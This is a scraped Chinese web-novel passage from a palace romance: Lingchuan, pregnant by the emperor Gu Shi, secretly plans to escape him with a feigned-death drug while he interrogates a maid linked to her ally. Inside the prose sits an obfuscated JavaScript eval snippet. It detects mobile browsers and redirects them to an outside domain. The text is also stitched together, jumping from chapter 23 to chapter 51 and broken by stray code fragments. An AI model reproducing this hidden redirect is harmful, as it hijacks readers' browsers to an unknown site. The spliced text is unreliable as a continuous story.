泠川能瞒到现在是因为顾时对她的身体一直都不怎么上心,若是他真就现在叫个太医来给她诊脉,她就瞒不住了。 泠川赶紧岔开话题,不耐烦地把他的手打掉,冷冷地问: “顾时,我问你,你有表姐吗?” 23. 第 23 章 他愣了一下。 “好像我母亲那边是有一个表姐,只是没见过几面,我很小的时候她就出嫁了。” 泠川没忍住,笑得歪到一边,真没想到顾时为了和她撇清关系连这种谎也编得出来。 顾时疑惑地摸了摸头顶, “你忽然问这个做什么?” 泠川一边笑得前仰后合,一边把袖子里的小报掏出来,强忍着笑意递给他。 “没事,没事,都是些好听的话,你且看吧。” 顾时打开小报,匆匆扫了一眼,面色略有些尴尬。 “这些都是趋炎附势之徒为了表忠心瞎写的,又有好事之徒添油加醋罢了,你别往心里去。” 他随手把小报丢到一边,无非是几个急着站队的官员对他表忠心才闹出这种笑话,这种事他看都懒得看。 “好好好……” 泠川笑着,内心早就对顾时的不负责任心知肚明了。 他总是这样,急着跟她撇清关系,又不肯干干脆脆承认,又要拖着她,又不肯痛快地给她一个结果。 拖拖拉拉,钝刀子割肉,永远不给人一个痛快,她可真是受够了。 顾时清了清嗓子,做足了心理准备。 “泠川,你也年满二十了……我也应该……也应该给你一个交代。” 他犹豫了几次,泠川睁大了双眼,略带嘲讽地看着他。 顾时低头,这话实在是太难说出口了,他和泠川熟识地太过,近乎有些厌倦,他和她都被套进了一种固定的相处模式里,他每想向前走一步,都似乎有一道无形的屏障将他阻碍住。 改变长久以来的生活方式并不是一件容易的事,他逃避得太久,现在已经不知道该如何与她提出成亲之事。 他发现,他和泠川的相处有某种消极惯性,这种惯性如某种自然现象一般,将他们之间的关系越拉越远。 “没什么可交代的……你情我愿,你也没对不住我什么。” 泠川只冷笑。 听到她说的话,顾时心知他们又回到那种别扭且熟悉的相处方式里了。 他负气地想,既然泠川把他想成一个不负责任的人,那他就遂了她的意吧。 如果她不肯改变,那他也不肯。 “顾时,反正你也算个要面子的体面人,我们也别闹得太难看,好聚好散算了,我也不跟你闹腾什么。” 顾时什么都没说,只低下头去。 他想不通为什么泠川总要这样否定他……也不知道怎么跟她开口。 泠川犹豫着要不要在这个时候果断点跟他摊牌。 她觉得顾时这么年轻,肯定不会焦虑后嗣的事情,大可以重新娶一位门当户对的贵女生个嫡子,她肚子里这种无名无分的孩子他肯定是不想要的。 正好她也不想要,在这一点上,他们利益一致。 若是拖到他登基之后,特别是娶妻之后,就麻烦了。 他的妻子肯定容不下她,别说孩子,就连她的性命都岌岌可危。 “顾时,你有娶亲的打算吗?” 泠川犹豫着问。 顾时转忧为喜,泠川终于肯主动开口问他了。 果然,她心里还是惦念着他的,想必她期待已久。 “当然有。” 他握住她的手,把她拉近了些,索性把她搂在怀里,一只手放在她的脊背上。 她脊椎骨的形状还是那么明显,摸起来硌手。 “泠川,你希望什么时候成亲?” “尽量往后吧……明年春色浓郁,月季盛开的时候再成亲也不迟。” 泠川用有些恳求的声音跟他说。 顾时和别的贵女总会有成亲的一天,她只希望这个时间来得迟一些,最好是在她已经远走高飞之后。 她没有家世,没有亲人,一丁点威胁都没有,高高在上的一国之母根本没必要杀掉她……同样,杀了她也连一丁点后果都没有。 “没听你说过……原来你喜欢月季……” 顾时心想,他与泠川礼成那天,一定命人多种一些月季才好。 “我喜不喜欢也算不作数,只是春色最好,适合成亲。” 泠川心想,他的婚礼与自己也不会有任何关系了。 “确实,春天更适合成亲。如今正值浓春之际,筹备大婚还需要时间,恐怕今年是赶不上了,还是明年再成亲最合适。” 他拉着泠川的手,把她的手贴在他的脸上。 “嗯……” 泠川看了看湛蓝的天空,残余的柳絮席卷起来,直奔九天而去,她想,到了明年的今天,一切都要尘埃落定了。 他看着泠川,她似乎看起来不是那么高兴,至少她没有像他一样对这桩婚事感到快乐。 是因为她不喜欢皇宫吗……宫规森严,他也不喜欢,既然他们两个都不喜欢,那这种东西就没必要再存在了。 从此以往都是如此,不代表这就是对的。 他也不清楚皇室从哪代以来就变得残疾畸形,但往后不再会是那样了。 “泠川,你不要担心。” 他伸手去摸了摸她的头发。 “开心一点吧,没有什么问题是解决不了的,相信我。” 她没在听顾时讲话,只怔怔地看着被卷到天上去的柳絮。 风吹到哪,柳絮就飘到哪。 可她和柳絮不一样,她想去哪要由自己决定。 “泠川,后宫大选已经废掉了……” “大臣们没意见吗?” 泠川并不知晓朝堂上的事,只随口一问。她心想,顾时娶妻也用不着指着大选,有的是合适的对象可挑。 “几任皇帝都是残废,朝廷中早就不指着皇帝来治理,宰相大权在握,他们巴不得帝王家赶紧绝户,我主动提出废除大选正好遂了他们的意。” “那岂不是你的孩子也……” “人一多争端就多,只娶一个妻子,子嗣的数量也还在可控范围内。” 泠川低头,自己是真的得赶紧离开了。 顾时明显就容不下她,若是她真心跟着顾时,恐怕要被吃干抹净,连个妾室都混不上的。 他亲了亲泠川的脸,她没什么高兴或者不高兴的表情,只木木地被他亲了一下。 顾时看着她笑了笑,想必这一切在泠川眼里都是理所应当的待遇,没什么可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310341|182893||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特别的,她应该早就知道他会和她成亲,所以才不觉得有什么激动。 她确实是这样的,高傲易怒,喜怒无常,不会主动去谄媚讨好他,总是气定神闲地等着他把一切都双手奉上。 今天是泠川的生辰,他们在今日把婚事确定下来,明年的今日正式成亲,这非常合情合理。 泠川看着顾时的眼睛,笑了笑。 她的老毛病又犯了,又去猜顾时的心意做什么,以后她只管自己要去哪便是。 顾时看起来似乎心情不错,给她拿了一盘点心,泠川随手拿起一个便吃。 他伸手去摸了摸她前额的碎发,专注地看着她的眼睛。 他们以后会结为一对人尽皆知的夫妻,要用全新的身份共同相处。 虽然他已经与泠川非常熟悉,但新的身份依然是一种挑战。 他开始忍不住的期待作为他妻子的泠川是什么样子,她作为他的妻子,就可以把她一直以来都爱着他的这个事实昭告天下。 到时候他就可以告诉所有人,他与泠川感情甚笃。他是一个有人爱的人,单凭这一点,他就已经远胜过自己名义上的父亲了。 泠川悄悄看了一眼顾时,无端想起以前的事情来。 顾时说过喜欢她,以后要娶她……也许是五年前的时候,具体是什么时间她记不清了。 她之前强迫自己把这件事忘了,但是如今又想起来。 当初的那个顾时已经一去不复返了,现在的顾时熟悉到让泠川觉得有些想吐。 日复一日,曾经熟悉的那个人,不知不觉就又变了一番模样,甚至都很难和当初认识的那个人联系起来。 泠川苦笑,想起来就想起来吧,反正都已经与她无碍了。 人是不能活在回忆里的,睁开眼睛,总是要面对现实的。 太阳沉下去,今日有晚霞。 暗沉柔和的霞光四射,像一张被子一样盖在人的身上。 借着暮色,顾时直接吻了泠川的唇。 他一只手按在她的后脑上,另一只手伸到她的领子里,摸了摸她的锁骨。 “泠川,天色晚了,咱们一起进去休息吧。” “先别了吧……” 泠川心想女医说她房事过度,若是孩子掉了她倒无所谓,她只怕大出血把自己送走。 “还有一年呢……你拒绝我做什么?” 顾时皱起眉头,难道泠川想装模作样地等到婚后再做吗…… 不管该做还是不该做,他们都已经做过无数次了,她拒绝有什么意义? 听了顾时的话后,泠川暗自冷笑。 是,离他成亲还有一年,他还能玩她整整一年呢……所以这一年里他对她做什么都行。 “最近不太方便……” 她随便找了个借口,顾时反倒不悦。 “你同我一起进去,我看看你到底哪里不方便。” 不顾观瞻,顾时直接将她打横抱起,泠川很瘦,身子也轻,很轻松地就被他抱了起来。 她没挣扎,也没往他的怀里靠,只是像个玩偶一样一动不动。 顾时直接抱着她,在宫女躲闪的目光中进了琮翠殿。 50-60 第51章 青叶皱了皱眉,往后退了一步,终于回过劲儿来,她没想到这竟然是不能碰的秘密。 金盏有些不耐烦,青叶的理由简直蠢得令人发指。 “那些乱七八糟的册子,横竖也没人查,你何苦自找麻烦?” 她把猫随手丢在地上,站起来往前走了两步,小白猫竖起蓬松的大尾巴,紧紧地跟着她。 “你还愣在这里干什么?还不赶紧回去。” 青叶被她劈头盖脸地骂了一顿,苍白着脸,匆匆地走了,太复杂的事她想不清楚,只知道一味地守规矩便不会叫人挑出错处。 金盏颇为嫌恶地转过身,从上到下地扫了一眼富丽堂皇的宫殿,上面层层的琉璃瓦在夕阳下罩着一层柔光。 静谧优雅的琮翠殿无法让知道秘密的人变得心平气和。 她的心里一个劲儿地打鼓,得赶紧帮顾时把这件事掩盖过去,此后再也不能有人知道泠川便是陶金荣。 孤男寡女鬼混六年,但凡是个人都知道他俩有一腿,怎么还有这般不长眼的小子,竟然敢在皇帝头上偷人。 那个秦思昭……究竟是胆大包天还是蠢得惊人? 金盏实际上记性不差,只是非常擅长装傻。 那日她分明就看得清清楚楚,泠川坐在戏院的前排,和一个年轻男子言笑晏晏地一起看戏,举止十分亲密。 当时她只假称那是女扮男装的杨若云小姐,帮泠川含混过去,但实际上她心里跟明镜似的,杨若云她见过,根本就不长那个模样。 只是她没想到顾时忍了,把这件事生生给掩盖过去,又急了忙慌地把泠川娶回来,想必是真的怕了。 金盏转念一想,倒也没什么稀奇。顾时对泠川就是那个样子的,银样镴枪头,平常看着嚣张,实际上跪得最快,泠川一真要跟别的男人好,他只会第一个举手投降。 她冷哼一声,抿着嘴,颇为解气地在心里编排起来。把门一关,说不定顾时直接扑通一声——直接给泠川跪下,又哭又求,毫无尊严。 次日,金盏越想越怕,只有她一个人知道还好,绝对不能再让别人知道此事。 她鼓起勇气进了书房,给顾时倒了杯茶。 泠川的真实身份一旦暴露出去,终将是纸包不住火,一旦事情发酵起来,流言四起,后果不堪设想。 到时候顾时也照样不会真心实意地罚泠川,只会拿她杀鸡儆猴。 顾时嫌弃地瞥了一眼那茶杯上粘的猫毛,冷冷地说: “不是说不用人伺候吗?你来干什么?” 金盏第一次用严肃认真的语气说道: “奴婢心想,如今泠川姑娘的身份变了,身契也得跟着改了才好。不如就彻底把名字改成泠川,您看如何呢?” 顾时别有深意地瞥了她一眼。 “所言极是,你果然能干。回头我便吩咐户部的人去办,务必要把此事办妥。自己去领赏吧。” “待陛下弄好了新的身契,便吩咐我吧……到时候我回王府去把旧身契烧掉便是了。” 她行了一礼,道过谢后,匆匆退下了。 金盏扬起袖子,对着光仔细地看了看,露出了惊讶又带着几分嫌弃的神色。 袖子两边粘的全是半透明的猫毛…… 现在不是想这些闲事的时候,她跺了下脚,怪自己又因无关紧要的杂务走神。 金盏深吸一口气,皱着眉,走进了琮翠殿,她实在是被纵容得太过,也该被适时地敲打敲打。 泠川似乎对这一切都浑然不觉,悠闲地靠在椅背上,淡然自若地喝茶。 金盏紧皱眉头,用怨怼的眼神看着泠川。 “横竖你们两个都成亲了,也有了着落,以后安分些吧……别再搞出什么连累我的事来……你不想要脑袋,我还想要呢!” 她越说越急,声音越来越大,几乎是忍不住开始手舞足蹈。 “哈哈……” 泠川的眼睛眯成两道弯月,轻笑起来。 “你笑什么!” 金盏呲着牙,气得头上直冒烟。 “金盏,真是什么都瞒不过你的眼睛。” 她把头歪向一边,冷哼一声。 “嗯,以后可别再做让我扶着脑袋给你打掩护的事了。” 说完后,金盏又忍不住猫着腰,凑到泠川边儿上,用气声悄悄地问道: “喂……那个谁……有没有跪在地上……一边哭一边求?” 泠川捂着肚子笑个不停, “哎呦,你猜的可真准……可不就是这么一回事儿。” 泠川睁开眼,狡黠地眨了眨眼,她知道金盏看似大大咧咧,可内心一向是最敏锐的,什么都瞒不过她。 她从梳妆柜里拿了几个镯子出来,用手绢儿仔细地擦了擦。 “这些够不够当你的买命钱?” 泠川直接把这几个镯子往金盏的手里一塞。 金盏吓得退后了一步,镯子噼里啪啦地掉在了地上,暗森森的光彩在地毯上流溢着,像一只眼珠子掉在了杂草堆里。 她瞬间产生了不好的预感,不知为何,她就是觉得泠川和顾时注定当不成一对安定的夫妻,他们的郎情妾意,不过是暴风雨来临之前的平静,越是平静,她就越忍不住害怕。 “泠川,你究竟想干什么?你又想干什么!” 她近乎有些狂躁,冷汗瞬间从她的额头上流了下来。 泠川无奈地叹了口气。 “金盏,其实我也不想连累你的。” 她将眼睛看向一边,在这些日子里,顾时总是用一些零零星星的琐碎塞满她的脑海,侵占她的感官,几乎要让她忘却他们之间的关系是一桩何等的灾难。 可是她不想当一个坐以待毙的人,不想心甘情愿地沉浸在幸福的表象里,沦为一个任他操控的傀儡。 她的身子轻轻抖了抖,她只是要做一些对于她而言必须要做的事,至于会不会牵连无辜的人,她已经顾不得那么多了。 就算是顾时发怒,杀得整个宫里血流成河,那也不是她的罪孽……至少不应不该归结于她的罪孽。 宫里是围着皇上转的,她不是权力的中心,自然也无法替真正的决定者背负血债。 金盏一脚把地上的镯子踢飞,一个镯子磕在桌腿上,撞得稀碎,哗啦啦地散了一地。 “既然如此,你就别怪我跟你对着干,我已经受够了。” “我会跟顾时说的,给你一笔钱,叫你回家去就是了。” 她气愤地抢在她之前开口。 “你是觉得我知道了这么多,还能善始善终是吗?” 泠川平静地把地上还完整的两个镯子捡了起来,又去梳妆柜里拿了一个。 “给你补上。原是我也有对不住你的地方,并不是还要去搞什么惊天动地的大事。” 她强硬地把镯子塞到了她的手里,摸了摸自己的小腹。 “我都已经怀孕了,还能做什么呢?说不定生的时候就一尸两命了呢。瞧瞧你,吓坏了吧,真不知道你想到哪儿去了,我不过只是随口开个玩笑罢了。” “什么?你怀孕了?一点儿都看不出来呀。” 金盏一惊,往后退了一步。 泠川捂着嘴笑道: “怎么,你才知道吗?原来王府诸葛也有不知道的事儿呀,我应该早就怀孕了吧。” 平心而论,她想象不出来泠川做母亲的样子,看她的精神头也实在不像怀孕的人。 想来想去,她也不知道该说什么好,低下头,灰溜溜地走了。 想到不久的将来,还要多一个熊孩子让她伺候,金盏就忍不住感受到一种真实的心烦。 小孩子哪有猫可爱。 看着金盏匆匆离去的背影,笼罩在泠川心头的不是锥心的悲伤,而是徒劳的压抑。 到头来还是没一个人能懂她。 不过这也寻常,她凭什么要求别人为了体贴她而送了命? 她百无聊赖地喝了一杯茶,茶喝完后,顾时直接出现在了她的眼前。 “哦,是你啊。” 她漫不经心道,顾时出现在她眼前,不过是再平常不过的事罢了。 “你知道吗?你的事情已经败露了。” 顾时平淡地开口,通常来讲,越是平淡反倒会越有威慑力。 “不就是金盏已经知道了吗……” 这话并没能把她心底真正的秘密诈出来,泠川只漫不经心地回答。 “迟早会纸包不住火。” 顾时在试图恐吓她,他替她摆平了一切,她却因他的软弱和溺爱,几乎没付出任何代价。 “横竖我也只有一条命,你想要,我赔给你就是了。再说出了这种事,最*丢人的是你。事已至此,是你该想想怎么替我隐瞒。” 泠川笑道。 他看着她对自己的错误理直气壮的样子,越发地不满起来。 至今为止,她都没有认认真真地给他一个说法,他想要逼问她,却也对此一再拖延,他保全幸福的本能开始运转,他无法从中释怀。 泠川站起来,向镜子前走去……准确来说,她是在向那假死药的方位走去。 离她和秦思昭约定的日子只剩下七天。 这一走便是永别,这七天里她究竟应该向谁交代些贴心的话?又应该交代些什么? 正当她胡思乱想之时,顾时从背后拥她入怀。 他被怨恨缠裹得近乎无法动弹,只能偏执地抱着她,越拥越紧。 这炙热的情感,一下让泠川近乎喘不过气来。 “我爱你。” 她不知怎的,竟如同一个贪财的小偷吐出一颗藏在舌下的珍珠一般,说出了这话。 泠川几乎被自己吓了一跳。 第52章 她伸手去摸了摸他的脸颊,微凉光滑的触感从她的指尖传来,他的皮肤保养得当,像一块羊脂玉。 既然他们之间的关系已经进入了倒计时,那么对他说一句爱又何妨。 七日后,便是永别,此后再也不见。 她微笑着,眨了眨眼睛,睫毛跟着颤动了一下。 与顾时相识七年,如今继续在一起的日子却只剩下七天。 就让她把余生的所有情意,都压缩进这七天里,一次性倾泻给他吧。 你 她仰起头,主动地吻了一下他的唇。 唇齿之间是熟悉的触感,一种酸涩的眷恋感从小腹升起,涌进她的心头和鼻尖。 她轻轻地抱着他,把头靠在他的胸口,听着他的心跳声。 这一刻她确确实实觉得自己是爱着顾时的。 这是一种末日前的狂欢。 “我爱你。” 她又重复了一遍,她的语气缓缓的,一字一顿地把这三个字饱含希冀地说了出来。 她的内心升起了星星点点的温馨感,让她忍不住想对顾时一遍又一遍的告白。 这种爱,这种温馨,完全是水面上不断涌起的泡沫反射出过剩的幻影,全部都建立在她会毫不留情地离开顾时这个残忍的事实之上。 可至少现在,她觉得自己爱着顾时。 这是献祭了她和顾时的未来而得到的炽热爱情。 泠川的未来已经宣告结束,她会死在七日之后。 至于陶金荣的未来会是怎样,还完全是一片渺茫。 她不想为了未知的事而感到忧虑,杞人忧天的想法只会不停干扰她的决断,毫无任何意义。 她松开了顾时,转身看着天色已经微微地暗了下来。 暗色的天空上,排布着一条一条凸起的云,像脏了的棉絮。 夕阳刚刚落下,它只需要再升起七次。曾经在太阳之下诉说着爱意的一双男女,此生此世,再也不会一起出现在阳光之下。 她想,太阳也不会在乎自己是否能照到她的身上。 太阳也不会记得这世上还有过一个哭诉着挽留的男人,有过一个冷血又真情的女人。 顾时往后退了半步,又像下定决心了似的,走上前去。 她对于他早已站在了她的后方无知无觉,双眼满含爱意地回头,看到的却是一双居高临下,充满愤怒和审判欲望的眼睛。 “人已经被影卫扣下了,你还有什么想说的吗?” 他嚅动了一下嘴唇,冷冰冰地开口说道。 “什么?” 泠川眼中的爱意还没来得及散去,只流露出一副对此完全无知无觉的样子。 “原本送给秦思昭的妾室,黄杏,这个人和你接触过对吧。” 他从袖子里掏出一个镯子,啪地一声,拍在了桌子上。 “已经有宫女指认过了,这个是你梳妆柜里的东西,你还有什么想抵赖的?赶紧趁现在把事情的起因经过全部告诉我。” 说到最后,顾时的手开始发抖,声音开始打颤。 “没什么特别之处,只是请她来为我吹一首笛子罢了。” “你觉得我会信这种漏洞百出的说辞吗?” 顾时怒极反笑。 “她过来之后都跟你说了些什么,我要你一个字一个字的告诉我。” “记不住。” 泠川不耐烦地扶额。 “就算我有心要全告诉你,我也记不住。” “究竟是你记不住,还是我不能听?” 泠川只沉默相待,她毫无半点畏惧之态,反倒流露出一种浑然天成的冷漠。 他强忍着怒气,伸手拉住她的手腕,一步一步地把她带进了书房。 早已支开了一切下人,他带着她进了一条无人知晓的密道。 黑暗的环境让泠川产生一种本能的畏惧,她陷入了紧张,她只贴着顾时,手环在他的脖子上,索求着温暖。 顾时的手猛地往回缩了一下,明明她已经大难临头,竟然还在向他索吻。 他不知自己处于什么想法,一把捞住她的腰,把她打横抱起。 她背叛了他,欺瞒着他,证据已经板上钉钉。 可她现在正因为怕黑而沉甸甸地躲在他的怀里,他闻到了她身上幽幽的香气,那是他最常用的熏香。 她身上热腾腾的,他几乎能听到她的心跳,她现在需要着他,依赖着他的感觉那么真实。 就在刚才,她露出罕见的温婉神情,捧着他的脸颊,对他诉说着绵绵的爱意。 顾时心头五味杂陈。 被爱的甜蜜和被欺瞒的耻辱怪异地混合在一起,他一下陷入了一种偌大的无助。 他根本就不知道自己能把泠川怎么办……就算知道了一切又能怎样。 只要她稍微含糊过去,再用甜言蜜语糊弄他几句,他照样会把她轻轻放过。 只要她不是密谋着要离开他,不管她做什么,他都会一边痛苦着折磨自己,一边不受控制地原谅她。 意识到这一点,顾时把泠川推到墙上,有些狂躁地吻了她。 她的身子几乎被挤压地有些变形,却依旧热切地回应着他,就在她将指缝插入顾时的头发时,他反倒冷静了下来,轻轻把她放到了地上。 “跟着我。” 他没再回头看她,只冷冰冰地说了这一句。 泠川只好跟着顾时,一路走进了地下的暗室。 两个影卫把落魄的黄杏团团围住,她跪在地上,头发直往下滴水,面色惨白。 “陛下,已经贴了一轮黄纸,她什么都不肯说。她毕竟是个弱女子,再上什么酷刑恐怕是扛不住的。” 姜九州开口说道,眼神里流露出一丝不忍。 顾时只冷笑,高高在上地坐在了那个最高的位置上,俯视着黄杏,装出一副和善的样子说道: “看你一个弱女子也实在不易,你肯为他出生入死,想必是对他有情意。若你全部招供,我不仅不会处罚你和秦思昭,还会给你们赐婚,让你风风光光地嫁进去当正头娘子,你意下如何?” 她只冷冷地瞥了他一眼,挺直腰板,扬起下巴,冷笑道: “他对我有恩,我若是借助外力强占了他,反倒是恩将仇报。而且我也不稀罕用这种下作的手段得到原本不属于自己的婚姻。” 她的话像一把尖锐的小刀,一下扎进了顾时内心最深的痛处。 他如同被羞辱了一般,面色涨得通红,愤怒地看着她。 难道这世间上只有他一个人品性如此低劣,为了留住一点爱情,不惜付出一切代价,利用强权也要把她强留在身边…… 现在就连一个出身低贱的婢女,也能在他面前直起腰杆,做出一副最清高的派头。 明明是他高高在上,黄杏跪着,可此话一出,竟像是他五体投地,跪在了刑场的正中央。 泠川见他脸色不对,快步向前,走到黄杏身前,抡起胳膊,狠狠抽了她一个耳光。 “本也不是什么特别重要的事儿,你非要在这里犟什么?装什么清高,赶紧招了吧。” 黄杏一愣,嘴唇发抖,说不出一句话来。 “不过就是递句话的事儿,你誓死不招,反倒让人起疑。” 她回头看着顾时,牢牢地挡在黄杏前面。 “秦思昭不过是托她给我递句话罢了,他之前有些误会,一时鲁莽才当众说出了让你不快的话,她不过是来告诉我,秦思昭此后一心一意在朝中做官,绝无半点反心。” 这谎话简直漏洞百出…… 顾时的面颊不自然地抽搐了一下,双眼蒙上了一层阴翳。 泠川快步走上前,她的面孔一下在他眼中放大了数倍,上半身直直地压了过来。 她对着他伸出了手。 “我送她的镯子呢?快点还给她。” 他内心简直是一团乱麻,没有细想,只知道服从她的命令,直接把那个镯子递给了她。 泠川拿着镯子走了过去,抓起她的手腕,略显粗暴地套在了她的手上。 她用袖子擦了擦她湿漉漉的头发和苍白的脸。 “真是愚忠的孩子……赶紧回去吧。” 她把黄杏从地上拉起来,眯起眼睛,有些威胁地回头看着顾时。 “泠川,你不要用那种眼神看我。” 明明刚才她还在用那种充满爱意的温婉眼神看着他,可现在她竟如同在警告他一般…… 顾时没来由地感到一阵恐惧,胸口一阵一阵地发寒。 他听到了来自内心最深处的声音,那个声音正拼命地告诉他,必须遵从泠川的一切命令,否则来之不易的脆弱幸福就会轰然坍塌。 不要追问,不要追问,不要追问。 由于过度地害怕失去,他情不自禁地露出了软弱的神色,却又不得不用强硬的语气命令影卫: “都散了吧。” 影卫们面面相觑,谁也不知道发生了什么,只好服从命令,尽数撤了。 泠川一步一步地向顾时走来,他竟然直接拉住她的袖子,抢先在她的前面示弱了。 “泠川,我信你,我什么都信你。” 他急促地说道。 他真的好怕泠川对他坦白一切他不想听到的残酷真相,只一个劲儿地求她。 “泠川,快点告诉我,你爱我……” 他双眼里满是惊恐,却对着她露出一个讨好的笑容。 “就像刚才一样看看我好吗?” 第53章 顾时觉得自己就像一只急于得到主人肯定的狗,翻着肚皮,摇着尾巴,乞求泠川给他一点垂怜。 可是她真的愿意吗? 她一步一步地走近了他,他等到的是一个毫无迟疑的拥抱。 他觉得自己像被一团温暖的云彩罩住了。 她把下巴搭在他的肩膀上,亲吻了他的脖颈。 “我现在是你的妻子,这不就够了吗?你还有什么可不满意的……” 他神经质地绷紧肌肉,抱住了她,回吻了她的侧脸。 是的,他想要的就是这些,这便够了。 她温热的体温从手上传来,让他陷入了某种迷乱,根本就没有足够的理智去处理杂乱的信息。 泠川是他的妻子,肚子里怀着的是他的骨血,除此之外的事,他不需要再考虑。 只要她从未想过离开他,他便愿意主动麻痹自己的神智。 “你从来没想过要离开我,对吗?” 他问着她,只想得到一个肯定的回答,这是他唯一的底线。 “是的。” 泠川明知道事实不是这样,却还是给了一个虚假的答复。 “为什么……为什么你不想离开我?” 他的手死死拽着她的衣襟,汗水浸湿了那昂贵的料子,一根睫毛倒错着扎进眼球里,眼白微微泛红,露出乞求的神色。 “因为我爱着你。” 她轻抚他的头发,把他的头抱在胸前,安抚着他的情绪。 “好。” 他无助地靠在她的身上,听着她的心跳声。 泠川的一声声我爱你可以是一种残忍的欺骗,但她决不能暗中谋划着要离开他。 他发现自己根本就接受不了没有泠川的生活。 他的嘴角露出自嘲的笑,自己曾经竟然自大地以为,泠川是专属于他的,不管他离开她几步,她都会永远留在原地等着他。 可幸好亡羊补牢,为时未晚,他及时回头,在酿成大祸之前,牢牢抓住了她。 万幸的是,泠川腹中有了他的孩子。 不管是出于错误,欲望,爱,亦或是命中注定,他们都已经共同孕育出了一个生命。 顾时对这个孩子并没有什么感情,他并不渴望子嗣,只渴望和泠川建立牢固的关系。 只要这个孩子顺利出生,顾时就会成为泠川人生里永远绕不开的一个话题。 她在生产时不可避免地会经历刻骨铭心的痛苦,这也意味着她永远也无法忘记他。 顾时伸出手去,轻轻摸了摸她的腹部,忍不住开始期待着这个孩子的出生。 以后,她每次见到自己的孩子,都会想起他。 “泠川,你会喜欢我的孩子吗?” “说实话没想过,现在它还在肚子里,尚且不算一个人呢。” 她有些别扭地把他的手推开。 “你不期待吗?” “说实话,没什么可期待的,生产过程很痛苦的,我也会感到害怕,但是害怕也没用,顺其自然吧。” 她非常平静地说道。 顾时产生了一种直觉,泠川很可能根本就不喜欢他的孩子。 “泠川,你是不喜欢小孩子吗?” “谈不上,只是没想那么远。” 她有些不耐烦地皱了皱眉头,显然不怎么想继续这个话题。 “小孩子上蹿下跳的,吵得很。我小时候嘴馋去爬桑葚树,脚一滑,直挺挺地摔下来,差点摔成瘫子。” 泠川和腹中的胎儿尚未建立起感情,她潜意识里总把这个孩子想成一个麻烦。 “先不提这个了,我们先回去吧。” 顾时的手忍不住发抖,心思杂乱,忍不住去想泠川究竟是根本不想要孩子,还是唯独不喜欢他的孩子? 他抱着泠川走进了漆黑的密道,泠川只放松地依偎在他的怀里,对着他摆出一副等着仆人伺候的架势,冷静得根本不像一个做了亏心事的人。 他觉得泠川就是拿准了他不敢真的把她怎么样,才态度嚣张地放走了秦思昭送进宫里的细作。 顾时想要伸手去摸她的心跳,看看她是否真的像表面一样平静,却被她直接把手拍开。 她皱起眉,有些不耐烦地骂道: “别瞎碰我。” “泠川,你知不知道你刚才说的话有多漏洞百出?” 顾时冷笑道: “再说我何尝怀疑过秦思昭有反心?他一个无根无基,手无缚鸡之力的文臣,如何能够谋反?他分明是……分明是……” 他一时急火攻心,额角的青筋暴起,后面的话无论都说不出口。 “别计较了。” 泠川摸了摸他的脸,顾时别扭地把脸撇到一边去。 “反正人也已经放走了,你实话跟我说,她到底跟你说了什么?” 泠川顿了一下,说道: “她进来是为了给我送一封信,但是她因为害怕,已经把那封信销毁了,我根本就没看见里面的内容,于是就嘱咐她回去告诉秦思昭,叫他以后好好当官,为朝廷效力。” 泠川绝无半点虚言。 “到此为止,别让我发现下一次,下一次决不轻饶。” 顾时的声音有些发抖。 “知道了……” 泠川若无其事地说着。 “你得付出点代价。” 顾时皱着眉头,双眼里满是幽怨。 “先欠着,等我生完孩子再还吧。” 泠川故作亲密地亲了亲他的脸,顾时不消气也得消气了,只觉得心里委屈。 这天下惧内的男人并不少,可是他都已是九五之尊,还是只敢对着自己的妻子生闷气……恐怕上下两千年也找不出第二位来这样的皇帝了。 进来的时候他还气势汹汹地拉扯着她,一起出来的时候又格外的心平气和,顾时自己都觉得自己没用。 影卫站在书房里等着,开口问道: “陛下,您确定要放了那个宫女吗?” 顾时沉着脸色,刚要开口,就被泠川狠狠剜了一眼,只好改口说道: “算了,放了她吧,误会一场,不是什么大不了的事。” “属下遵命。” 泠川得意洋洋地笑了起来,顾时觉得她就像是在炫耀自己有一条听话的好狗一般。 顾时看着她的笑容,心里满是怨怼,她让他受了这么大的委屈也就罢了,竟然也不想想该怎么弥补他。 姜九州是个实心眼的汉子,每日只精进武功,心里没有那么多弯弯绕绕,只懂主子说什么,他就做什么,老老实实地走到地牢里,打开大门,把黄杏放了。 “姑娘,你是这次运气好,遇上我了……没遭太大的罪。” “多谢大哥照拂。” 黄杏脸上还有泪痕,规规矩矩地对着他行了个礼。 姜九州一个大老爷们,对着一个娇滴滴的姑娘实在是下不去手,不过是做了做样子。 黄杏被阳光刺得不禁闭上了眼睛,有几分不可置信地走出了这道沉重的铁门。 她低着头,看着自己迈开步子的脚,实在没想到自己这么轻而易举地便走了,泠川竟然轻轻松松地就保下了她。 她真的没想到泠川说话竟然这么算数,看来她在顾时面前颇为得脸,他能为了她做到这个份上,这绝不是一个玩物的待遇。 她转身看了一眼优雅宁静的宫闱,几个宫女说说笑笑地走来走去,神态轻松自然。 上一任皇帝在世时,百姓们对皇室闭口不谈,见了官兵便绕着道走。 如今宫女的待遇提升,皇宫已经变成了要托关系才能进得去的地方,城里稍微有些脸面的中等人家都想把自己家的女儿送进去当差。 顾时显然不是残忍的暴君,也不是把泠川当成一个玩具囚禁起来,日夜磋磨。 她真的愿意抛下这一切荣华富贵,跟秦思昭远走高飞吗? 她踌躇着,不知该不该同秦思昭开口。 她不想挑拨离间,更不想让秦思昭真心错付,空欢喜一场。 黄杏心思杂乱,回到了秦思昭府上,他早就准备好了几本医书,打包好了放在桌子上,打算送给她当做酬劳。 “黄杏,把这几本书都背下来,你以后就能当女医了。” 她拿起了书,点了点头。 确实,她并非恋慕着秦思昭,而是想要像他一样帮助别人,她也识字,也许当个女医是个不错的选择。 她牢牢抱紧了书本,想起自己刚才还被影卫扣留,不由得一阵一阵感到后怕。 “秦公子,我被影卫抓住了……” “什么?” 秦思昭被瞳孔收缩。 “秦公子,你放心,我什么都没招!而且我也没什么事,只是信没送到……是泠川做主把我放了。” 